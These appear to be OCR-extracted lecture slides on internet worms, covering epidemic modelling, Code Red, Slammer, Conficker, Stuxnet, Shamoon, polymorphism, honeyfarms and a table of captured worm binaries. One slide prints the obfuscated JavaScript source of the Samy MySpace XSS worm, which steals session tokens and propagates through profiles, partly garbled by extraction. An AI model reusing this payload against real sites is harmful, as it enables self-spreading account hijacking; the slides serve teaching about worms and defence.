## **Modeling Worm Spread**

- Often well described as infectious epidemics •
  - Simplest model: homogeneous random contacts

in an hou

Number

# of scans

- Classic SI model  $\bullet$ 
  - N: population size
  - S(t): susceptible hosts at time t
  - I(t): infected hosts at time t
  - $-\beta$ : contact rate
  - i(t): I(t)/N, s(t): S(t)/N



## The Usual Logistic Growth

Probes Recorded During Code Red's Reoutbreak



### Slammer's Growth (2003)

DShield Probe Data





Distinct Remote Hosts Attacking LBNL



Days Since July 19, 2001

Distinct Remote Hosts Attacking LBNL



Days Since July 19, 2001



"viewtopic.php"



Advanced Search

Web 
Show options...

#### Results 1 - 10 of about 153,000,000 for "viewtopic.php". (0.23 seconds)

Step-By-Step Guide: Embedded Windows Media in Firefox ...

Jan 26, 2005 ... For pre-1.0 versions of Firefox (also under Windows), see this earlier version of this guide: http://forums.mozillazine.org/viewtopic.php?t=140828. ... forums.mozillazine.org/viewtopic.php?t=206213 - <u>Cached</u> - <u>Similar</u>

[Ext] Fission 0.8.9 [Sep 25] • mozillaZine Forums - 15 posts - Jan 19, 2006 [Ext] Console<sup>2</sup> 0.1 to 0.3.6.2 • mozillaZine Forums - 15 posts - Sep 17, 2005 Quicktime/Real/Windows Media Player Issues ... - 3 posts - Jan 25, 2005 keyconfig 20080929 • mozillaZine Forums - 15 posts - Jul 29, 2004

More results from forums.mozillazine.org »

#### phpBB • View topic - howdark.com exploits - follow up

1 post - 1 author - Last post: Nov 18, 2004

In the mean time we strongly, and I mean strongly! urge all our users to make the following change to **viewtopic.php** as a matter of urgency. ...

www.phpbb.com/community/viewtopic.php?t=240513 - Cached - Similar

phpbb • View topic - [2.0.19] Youtube Video bbcode - Apr 29, 2007 phpbb • View topic - Preventing SPAM - Bots ... - Mar 19, 2007 phpBB • View topic - phpBB 2.0.16 released - Jun 26, 2005 More results from phpbb.com »

#### **GREYSCALE & COLOUR CALIBRATION FOR DUMMIES**

Written by Kal, Editor/Webmaster www.CurtPalme.com Home Theater Last updated on June 6, 2009 (fixed some minor typo's) ...

www.curtpalme.com/forum/viewtopic.php?t=10457 - Cached - Similar

<div id=mycode style="BACKGROUND: url('java

script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e) {}if(C){return C}else{return eval('document.body.inne'+'rHTML')}function getData(AU){M=getFromURL(AU,'friendID'):L=getFromURL(AU,'Mytoken')}function getQueryParams(){var  $E=document.location.search;var F=E.substring(1,E.length).split('&'):var AS=new Array():for(var O=0;O<F.length;O++){var I=F[O].split('='):AS[I[0]]=I[1]}return AS}var J:var AS=getQueryParams():var AS=return AS}var J:var AS=return AS}var A$ L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M) {getData(g())}main()}function getClientFID(){return findIn(g(),'up\_launchIC( '+A,A)}function nothing(){function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var  $Q = escape(AV[P]); while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')} while(Q.indexOf('k')!=-1){Q=Q.replace('k','%2b')} N+=P+'='+Q;O++} return N{function httpSend(BH,BI,BJ,BK){if(!J){return}} retur$ false } eval('J.onr'+'eadystatechange=BI'); J.open(BJ,BH,true); if(BJ=='POST') { J.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); J.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); J.setRequestHeader('Content-Type', 'application', Length', BK, length) J.send(BK): return true} function findIn(BF,BB,BC) {var R=BF, indexOf(BB)+BB, length; var S=BF, substring(R,R+1024); return S, substring(0,S, indexOf(BC))} function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new}}} XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e) {Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.gubstring(AB.AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE) AE=AE.replace('jav'+'a',A+'jav'+'a'):AE=AE.replace('exp'+'r)'+A):AF=but most of all, samy is my hero. d'+'iv id=+AE+'D'+'IV>' ar AG; function getHome(){if(J.readyState!=4){return}var} AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','');AG=AG.substring(01,AG.length);if(AG.indexOf('sam\_V')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?  $fuse action = profile preview Interests & Mytoken = +AR postHero (POST params ToString(AS)) \} function postHero () \{ if (J.readyState != 4) \{ return \} var AU = J.response Text; var AU = J.response T$ AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mvtoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm? fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend\_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-formurlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.setRequestHeader('Content-Length',BK.length)}



### **Conficker Eye Chart**



#### How to interpret:

If you see this above:	It probably means this:				
Feers Constrained and Constrai	= Normal/Not Infected by Conficker (or using proxy)				
	= Possibly Infected by Conficker (C variant or greater)				
	= Possibly Infected by Conficker A/B variant				







2015-2016

Seen at a Corelight customer site: Jan 2020

MS puts up \$250K bounty for Conficker author **Zombie masterminds wanted undead or alive** By John Leyden • Get more from this author Posted in Security, 12th February 2009 18:15 GMT

Microsoft is offering a \$250,000 reward for information that leads to the arrest and conviction of the virus writers behind the infamous Conficker (Downadup) worm.

### Israel Tests on Worm Called Crucial in Iran Nuclear Delay

By WILLIAM J. BROAD, JOHN MARKOFF and DAVID E. SANGER Published: January 15, 2011

#### This article is by William J. Broad, John Markoff and David E. Sanger.

🕀 Enlarge This Image



Nicholas Roberts for The New York Times Ralph Langner, an independent computer security expert, solved Stuxnet.

#### Multimedia



How Stuxnet Spreads

The Dimona complex in the Negev desert is famous as the heavily guarded heart of <u>Israel</u>'s neveracknowledged nuclear arms program, where neat rows of factories make atomic fuel for the arsenal.

Over the past two years, according to intelligence and military experts familiar with its operations, Dimona

has taken on a new, equally secret role — as a critical testing ground in a joint American and Israeli effort to undermine <u>Iran</u>'s efforts to make a bomb of its own.

Behind Dimona's barbed wire, the experts say, Israel has spun nuclear centrifuges virtually identical to Iran's at Natanz, where Iranian scientists are struggling to enrich uranium. They say Dimona tested the effectiveness of the <u>Stuxnet</u> computer worm, a destructive program that appears to have wiped out roughly a fifth of Iran's nuclear















### 'Shamoon' cyberweapon the work of amateurs

No 'Flame' masterpiece but damaged 30,000 PCs, says Kaspersky Labs





**Tech4Biz** | **17 Sep 2012 :** The 'Shamoon' malware that nixed the hard drives of 30,000 Saudi oil industry PCs in August was more of a 'quick and dirty' job by talented amateurs than a skilfully-crafted professional cyberweapon, an analysis has concluded. After pulling apart the code, Kaspersky Lab's researcher Dmitry Tarakanov draws a mixed picture of the programming skills of Shamoon's creators.

# **Polymorphic Propagation**



Once running, worm uses an *encryptor* with a **new key** to propagate

# **Metamorphic Propagation**



When ready to propagate, worm invokes a randomized *rewriter* to construct new but semantically equivalent worm code (incl. rewriter)

```
#!/usr/bin/perl
while (<>) {
 chomp;
 if ( /^(get|post|options|head|...)(.*)/i ) {
  # Do not respond if it looks like an exploit
  last if length > 1000;
  my $date = gmtime;
  if (\$1 = /get|head/i)
   print "HTTP/1.1 200 OK\r\n";
  elsif ($1 =~ /search/i)
   print "HTTP/1.1 411 Length Required\r\n";
  elsif (\$1 = ~/options/i) {
   print "HTTP/1.1 200 OK\r\n";
   print "DASL: \r\nDAV: 1, 2\r\n";
   print "Public: OPTIONS, TRACE, GET, HEAD, DELETE, ...\r\n";
   print "Allow: OPTIONS, TRACE, GET, HEAD, DELETE, ....\r\n";
  elsif ($1 =~ /propfind/i)
   print "HTTP/1.1 207 Multi-Status\r\n";
  else
   print "HTTP/1.1 405 Method Not Allowed\r\n";
 }
 print <<EOF;</pre>
Server: Microsoft-IIS/5.0
Date: $date GMT
Content-Length: 0
Content-Type: text/html
Set-Cookie: ASPSESSIONIDACBAABCQ=BHAMAEHAOAIHMOMGJCPFLBGO; path=/
Cache-control: private
```

```
EOF
```

}

last;

- Honeyfarm: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses …
- ... at high fidelity







- Honeyfarm: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses ...
- ... at high fidelity



Physical Honeyfarm Servers



- Honeyfarm: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses ...

Physical Honeyfarm Servers



- Honeyfarm: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses ...

Physical Honeyfarm Servers



- Honeyfarm: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses …

Physical Honeyfarm Servers



- Honeyfarm: use a network telescope to route scan traffic to a set of honeypots
- Goal: scale to 100,000s of monitored addresses …

Physical Honeyfarm Servers



Executable Name	Size (B)	MD5Sum	Worm Name	# Events	# Conns	Time (s)
a####.exe	10366	7a67f7c8	W32.Zotob.E	4	3	29.0
a####.exe	10878	bf47cfe2	W32.Zotob.H	9	3	25.2
a####.exe	25726	62697686	Quarantined but no name	1	3	223.2
cpufanctrl.exe	191150	1737ec9a	Backdoor.Sdbot	1	4	111.2
chkdisk32.exe	73728	27764a5d	Quarantined but no name	1	4	134.7
dllhost.exe	10240	53bfe15e	W32.Welchia.Worm	297	4 or 6	24.5
enbiei.exe	11808	d1ee9d2e	W32.Blaster.F.Worm	1	3	28.9
msblast.exe	6176	5ae700c1	W32.Balster.Worm	1	3	43.8
lsd	18432	17028f1e	W32.Poxdar	11	8	32.4
NeroFil.EXE	78480	5ca9a953	W32.Spybot.Worm	1	5	237.5
sysmsn.exe	93184	5f6c8c40	W32.Spybot.Worm	3	3	79.6
MsUpdaters.exe	107008	aa0ee4b0	W32.Spybot.Worm	1	5	57.0
ReaIPlayer.exe	120320	4995eb34	W32.Spybot.Worm	2	5	95.4
WinTemp.exe	209920	9e74a7b4	W32.Spybot.Worm	1	5	178.4
wins.exe	214528	7a9aee7b	W32.Spybot.Worm	1	5	118.2
msnet.exe	238592	6355d4d5	W32.Spybot.Worm	1	7	189.4
MSGUPDATES.EXE	241152	65b401eb	W32.Spybot.Worm	2	5	125.3
ntsf.exe	211968	5ac5998e	Qurantined but no name	1	5	459.4
scardsvr32.exe	33169	1a570b48	W32.Femot.Worm	4	3	46.2
scardsvr32.exe	34304	b10069a8	W32.Femot.Worm	1	3	66.5
scardsvr32.exe	34816	ba599948	W32.Femot.Worm	55	3	96.6
scardsvr32.exe	35328	617b4056	W32.Femot.Worm	2	3	179.6
scardsvr32.exe	36864	0372809c	W32.Femot.Worm	1	5	49.3
scardsvr32.exe	39689	470de280	W32.Femot.Worm	4	3	41.4
scardsvr32.exe	40504	23055595	W32.Femot.Worm	1	3	41.1
scardsvr32.exe	43008	ff20f56b	W32.Valla.2048	1	5	32.2
scardsvr32.exe	66374	f7a00ef5	Quarantined but no name	1	7	54.8

x.exe	9343	986b5970	W32.Korgo.Q	17	2	6.6
x.exe	9344	d6df3972	W32.Korgo.T	7	2	9.5
x.exe	9353	7d99b0e9	W32.Korgo.V	102	2	6.0
x.exe	9359	a0139d7a	W32.Korgo.W	31	2	5.9
x.exe	9728	c05385e6	W32.Korgo.Z	20	2	6.6
x.exe	11391	7f60162c	W32.Korgo.S	169	2	6.6
x.exe	11776	c0610a0d	W32.Korgo.S	15	2	8.6
x.exe	13825	0b80b637	W32.Korgo.V	2	2	24.4
x.exe	20992	31385818	W32.Licum	2	2	7.9
x.exe	23040	e0989c83	W32.Korgo.S	3	2	10.4
x.exe	187348	384c6289	W32.Pinfi	1	2	329.7
x.exe	187350	a4410431	W32.Korgo.V	6	2	11.3
x.exe	187352	b3673398	W32.Pinfi	5	2	20.1
x.exe	187354	c132582a	W32.Pinfi	5	2	24.9
x.exe	187356	d586e6c2	W32.Pinfi	2	2	27.5
x.exe	187358	2430c64c	W32.Korgo.V	1	2	27.5
x.exe	187360	eb1d07c1	W32.Pinfi	1	2	63.1
x.exe	187392	2d9951ca	W32.Korgo.W	1	2	76.1
x.exe	189400	7d195c0a	W32.Korgo.S	1	2	18.0
x.exe	189402	c03b5262	W32.Pinfi	1	2	58.2
x.exe	189406	4957f2e3	W32.Korgo.S	1	2	210.9
xxxxx	46592	a12cab51	Backdoor.Berbew.N	844	2	9.4
xxxxx	56832	b783511e	W32.Info.A	34	2	7.2
xxxxx	57856	ab5e47bf	Trojan.Dropper	685	3	10.0
xxxxx	224218	d009d6e5	W32.Pinfi	1	3	32.5
xxxxx	224220	af79e0c6	W32.Pinfi	3	2	34.2
n/a	10240	7623c942	W32.Korgo.C	3	2	4.8
n/a	10752	1b90cc9f	W32.Korgo.L	1	2	7.0
n/a	10752	32a0d7d0	W32.Korgo.G	8	2	4.1
n/a	10752	ab7ecc7a	W32.Korgo.N	2	2	5.3
n/a	10752	d175bad0	W32.Korgo.G	3	2	5.4
n/a	10752	d85bf0c5	W32.Korgo.E	1	2	5.6
n/a	10752	b1e7d9ba	W32.Korgo.gen	1	2	5.0
n/a	10879	042774a2	W32.Korgo.I	15	2	4.3
n/a	11264	a36ba4a2	W32.Korgo.I	1	2	5.4
multiple	n/a	n/a	W32.Muma.A	2	7	186.7
multiple	n/a	n/a	W32.Muma.B	2	7	208.9
multiple	n/a	n/a	BAT.Boohoo.Worm	1	72	384.9